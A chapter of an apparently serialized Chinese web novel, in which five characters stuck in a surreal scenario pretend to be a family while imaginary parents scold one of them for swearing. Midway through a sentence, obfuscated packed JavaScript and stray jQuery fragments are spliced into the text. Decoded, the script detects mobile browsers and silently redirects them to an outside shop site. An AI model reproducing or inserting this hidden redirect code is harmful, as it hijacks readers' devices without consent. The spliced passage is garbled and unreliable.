电视屏幕暗下去之后，客厅里安静了大概三秒。然后江野从沙发上弹起来："搜！先搜东西！衣服！这家里肯定有衣服——咱们总不能穿着睡衣演五天吧？"
他说的有道理。五个人穿着睡衣裤衩拖鞋站在人家客厅里，谁看了都知道不是来走亲戚的。
五个人迅速分头行动。徐晓推了推眼镜，不紧不慢地走进主卧的衣帽间，像做实验一样逐层打开衣柜，把里面的衣服按类别分好——西装、衬衫、连衣裙、外套，整整齐齐摞在床边。
许清寒去了次卧，温温和和地翻出一堆家常便服，叠好码在床尾。他叠衣服的动作很熟练，袖子对折再对折，裤腿捋平，像在医院叠病号服叠出了肌肉记忆。
林安诚站在儿童房的门口看了一圈。那间房间是粉色的，小床、书桌、童话壁纸，书桌上摆着一排教科书和练习册，桌角贴着一张课程表。她走过去，拿起课程表看了一眼，又放下了。然后她从衣柜里翻出一件小小的棉布连衣裙，浅蓝色，胸口绣着一朵小雏菊。
谢意没有去翻衣服。他站在原地，紫眼睛在整个房子里扫了一圈又一圈。
然后五个人几乎同时回到了客厅。每个人换上了一身"正常"的衣服——许清寒换了件浅灰色棉麻衬衫，袖口挽到小臂，看起来温温和和，像个刚下班回家的年轻医生。徐晓换了一件白色T恤和深蓝色运动裤，头发依然整整齐齐，连换衣服都没弄乱一丝。林安诚换上了那件浅蓝色连衣裙，灰兔子被她藏在裙子后面的腰带上卡着，露出一截毛茸茸的耳朵尖。
江野换了一件松松垮垮的黑色卫衣和灰色运动裤，头发揉得更乱了，脚上倒是从鞋柜里翻出了一双合脚的运动鞋。
谢意最后出来。他穿了一件不知道从哪翻出来的旧白衬衫，袖子卷到肘弯，下面是一条黑色长裤，裤脚有点短，露出一截脚踝。
五个人站在客厅里互相看着，状态从"穿着睡衣的穷鬼"升级到了"穿着借来的衣服但依然不像正常家庭的穷鬼"。
江野低头看了看自己："……还行。比我那身强。"
徐晓纠正他："你卫衣穿反了，标签在外面。"
江野低头一看，后颈处果然翻出来一块白色标签。他面不改色地把卫衣脱了重新套了一遍，动作行云流水仿佛排练过。
林安诚站在最边上，手里不知什么时候多了一本练习册。封面写着"四年级数学下册"，字迹工整清秀，是她刚才从儿童房书桌上拿来的。她把练习册夹在胳膊底下，重瞳安静地看着其他人。
谢意扫了一眼房间，正要说什么——门铃响了。
叮咚。
五个人同时僵住了。
江野："……"他转头看向谢意，表情写着"怎么办"三个大字。
谢意没有回答。他看着那扇深褐色的防盗门，门上的猫眼黑洞洞地对着客厅。铃声响第二遍的时候，他开口了："去开门。"
"你——"
"你是最大的。你开。"
江野瞪着他，张嘴想骂——但他低头看了看自己的卫衣和运动裤，又看了看许清寒温和但不动如山的样子、徐晓已经把身子侧过去半寸、林安诚更绝，已经把练习册塞进了他怀里然后往后退了一大步。谢意比他更绝——他直接伸手把江野从沙发前面推了出去。
江野被推得往前趔趄了一步，回头骂了句："我操你妈，谢意！你个畜牲！"
门开了。
门外面站着一对中年夫妇。男人四十多岁，寸头，国字脸，穿着一件熨得笔挺的深蓝色衬衫，裤线笔直。女人四十出头，卷发披肩，穿着一件碎花连衣裙，手里挎着一个黑色皮包。两个人的站姿很端正，背挺得直直的，像刚从某场重要会议上抽身回来。
他们看着江野。
江野穿着黑色卫衣，头发乱糟糟，怀里抱着一本四年级数学练习册，一脸来不及收回去的"我操你妈"的表情僵在脸上。
男人开口了，声音低沉，带着一种被刻意压平但边缘依然锋利的怒气："你怎么可以说脏话？"
女人的声音接上来，更尖更细："你怎么可以对哥哥说脏话？！我们怎么教过你的？！"
客厅里的温度瞬间降了三度。百叶窗外的光线暗了一瞬，像有乌云从白茫茫的虚空中飘过。空调的风变得又冷又硬，吹在皮肤上像刀片。
江野站在原地，怀里抱着四年级练习册，身上穿着黑色卫衣，背上贴着四道滚烫的视线。他嘴张了一下，然后——四只手从不同方向同时伸过来，捂住了他的嘴。
谢意的左手。许清寒的右手。徐晓的两只手——他动作最慢，只能捂到江野的耳朵。林安诚个子够不着，踮了踮脚发现够不到嘴，只好转而拽了拽江野的卫衣下摆。
江野被四只手捂着嘴，发出含混不清的"唔——唔——"声，眼睛瞪得圆圆的，像一只被按住嘴巴的大型猫科动物。
门外的中年夫妇依然站在那里，表情没有一丝松动。男人往前迈了半步，目光越过江野看向客厅里面："谁教你那些话的？你平时都在外面跟什么人学？"
谢意捂江野嘴的左手没有放。他的右手抬起来，朝门外的中年男人摆了摆，脸上挤出了一个略带僵硬但足够诚恳的微笑："没有没有，弟弟开玩笑的。他刚才在跟我玩呢，是不是？"他转头看了江野一眼。紫眼睛在昏暗的玄关光线里闪了一下。
江野从他的指缝里发出了一声含糊的、充满了恨意的、但勉强可以被听成"是"的闷响。
许清寒跟着开口了。他的声音温温和和，像在安抚一只受惊的猫："他刚才在跟我抢水果吃，嘴快了些。我替他说声对不起。叔叔阿姨你们先进来坐？"
他侧身让开了一条路，动作自然得体，面带微笑，浅棕色的眼睛在灯光下像两片被水浸透的秋叶。他笑起来的时候整个人散发着一种"快相信我吧"的温柔气场。
中年夫妇的表情松动了一点。女人打量了一下许清寒，又看了看徐晓——徐晓在许清寒说话的时候已经默默把手从江野的耳朵上拿下来了，站直了身体，双手交叠放在身前，背挺得像一根标尺。
"这是你弟弟？"女人指着徐晓问许清寒。
许清寒点头，神色坦然："对。他今年高三，在准备竞赛。平时不怎么说话。"
徐晓微微颔首："阿姨好。叔叔好。"
中年夫妇的表情终于从"暴风雨前夕"过度到了"暂时保留调查权"的状态。男人"嗯"了一声，迈步跨进了门槛。女人跟在后面进来，顺手把门带上了。
"砰"一声轻响。门关了。
五个人重新回到了这个"模范家庭"的客厅里。中年夫妇站在客厅中央环顾四周，像在检查什么东西有没有被移动过。男人的目光掠过沙发、茶几、电视柜上的奖杯和证书，每掠过一处都停顿半秒。
谢意终于把捂着江野嘴的手松开了。江野"呼"地吸了一口气，腮帮子都憋红了。他瞪着谢意，嘴型无声地骂了一句："你他妈——"
谢意面无表情地看了他一眼，然后转身面向中年夫妇，语气平稳地接过了话语权："爸，妈，你们今天回来得挺早。"
许清寒和徐晓同时转头看向谢意。徐晓的眉毛抬了半寸。许清寒的嘴角微不可见地抽搐了一下。
江野："……爸？妈？"
林安诚从江野背后探出半个脑袋，重瞳看了看中年夫妇，然后非常自然地、小步走到沙发旁边坐下，把灰兔子从裙子后面掏出来放在膝盖上，翻开那本四年级数学练习册，安安静静地开始写起来。
中年夫妇的目光落在了她身上。女人走过去，低头看着她写的题目——一道四则混合运算题，林安诚已经算到一半了，字迹工整，步骤清晰。女人弯腰看了一会儿，语气稍稍软下来一点："小诚今天这么用功？"
林安诚抬起头，重瞳安静地看着她，嘴角弯了一个乖巧的弧度："嗯。明天考试。"
江野站在玄关那边，看着这一幕，眼珠子都快掉出来了。他转向谢意，又转向许清寒，又转向徐晓——三个人已经自然而然地分散到客厅各处坐下了，姿态各异但整体和谐，像摆了很久的全家福突然活了起来。
只有他一个人还杵在门口，怀里空荡荡的——刚才那本练习册被林安诚要走之后他就空着手了。
中年男人看着他，眉头又皱起来了："你站着干什么？坐下来。"
江野站了两秒，然后缓慢地、僵硬地、像一具被线牵着的木偶一样走到沙发旁边，坐了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814538|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下来。他坐在许清寒和谢意之间，两只手放在膝盖上，背挺得比徐晓还直，整个人像被焊在了沙发上。
客厅里一时间出现了一种诡异的和谐——五个人各自占据着客厅的不同位置，中年夫妇站在茶几前面，目光在他们之间来回移动。一切看起来很完美。模范家庭的模样：孩子们各司其职，父母满意地检阅成果。
然后女人忽然说了一句话，让五个人同时脊背发凉：
"老大，你今天作业做完了吗？"
所有人的目光齐刷刷落在江野身上。
江野坐在沙发正中间，喉结上下滚了一下。他转头看了看左边——谢意已经开始低下头看手机，仿佛手机上长出了一朵花。他又转头看了看右边——许清寒端着杯子喝了一口水，目光飘向窗外那片白茫茫的虚空，喝水的动作慢得近乎故意。徐晓在角落里翻开一本不知道什么时候拿的英语词典，开始背单词。
江野艰难地开口："……做完了。"
女人走到他面前，弯下腰看着他的眼睛："那你刚才为什么说脏话？"
江野的背又挺直了两寸。
"我——"
"你是不是又跟同学学坏？"男人的声音从后面压过来，沉甸甸的，"我跟你妈每天在外面工作，你在家就学这些东西？"
江野的呼吸急促了半拍。他的手指在膝盖上蜷起来，攥紧了裤子的布料。他的嘴唇动了动，但他没有说话。
许清寒放下水杯，站起来。他走到江野和中年女人之间，微微侧身挡了挡，笑着开口："妈，他那句话是跟我说的，我们刚才在闹着玩。真的。"他伸手在江野肩膀上轻轻拍了一下，"是不是？"
江野感觉到肩膀上那只手的温度。不重，带着一点催促的暗示。他慢慢抬起头，看着许清寒浅棕色的眼睛。那双眼睛里什么都没有，只是安静地、温和地回望着他。
"……嗯。"江野说，"闹着玩。"
女人的表情仍然没有完全放松。但她退后了一步，转头看了一眼谢意——谢意不知什么时候已经放下了手机，正安静地看着这场家庭剧目，紫眼睛在灯光下平平静静。女人说："老大，你管着点你弟弟们。别让他们学坏了。"
谢意微微点头："知道了。"
男人满意了。女人满意了。两个中年人的面容开始模糊，像屏幕慢慢切换了信号源一样，一点点褪色、变淡、消失在空气里。门铃响起。他们转身，开门，走出去，门关上——"砰"一声轻响。
客厅里重新剩下五个人。
江野猛地从沙发上弹起来，转头瞪着谢意："谢意！我□□——"
谢意抬起头，紫眼睛看着他，波澜不惊："你想再跟他们聊两句？"
江野的嘴张了张，骂到一半的脏话在喉咙口打了个转，最后变成了一声被压缩到极致的、充满恨意的："……畜牲。"
许清寒收回搭在江野肩膀上的手，重新坐回沙发里，端起那杯水喝了一口。他的表情依然温和，但握着杯壁的指尖微微发白。
徐晓从英语词典里抬起头，推了一下眼镜："……我们要演五天。每天都有不同的'爸'和'妈'进来。第一天就差点——"他没说完。
林安诚从练习册上抬起头，重瞳扫了一眼全场。然后她合上书，把灰兔子抱起来，换了一个坐姿。
"江野哥，"她说，"你明天再说脏话的时候，先看看我们有没有准备好捂住你的嘴。"
江野转头瞪着她："林安诚——"
"我的意思是，明天我可以帮你把耳朵也捂上。"
江野张着嘴，张了半天，最后发出一声从胸腔里挤出来的、又长又闷的悲鸣。
他整个人倒进沙发里，把脸埋进靠垫中，闷声说了一句："……你跟你谢哥哥学坏了。"
谢意坐在沙发另一端，紫眼睛在百叶窗漏进来的光线里微微眯了一下。他的嘴角弯了一个极小的弧度——浅得像水面上一道被风揉皱的波纹。
"我们这一窝，"他说，"一个比一个坏。"
沙发上的其他四个人同时看向他。
谢意拿起茶几上那杯不知道谁倒的水，喝了一口，放下。
"吃饭吧。明天还有的演。"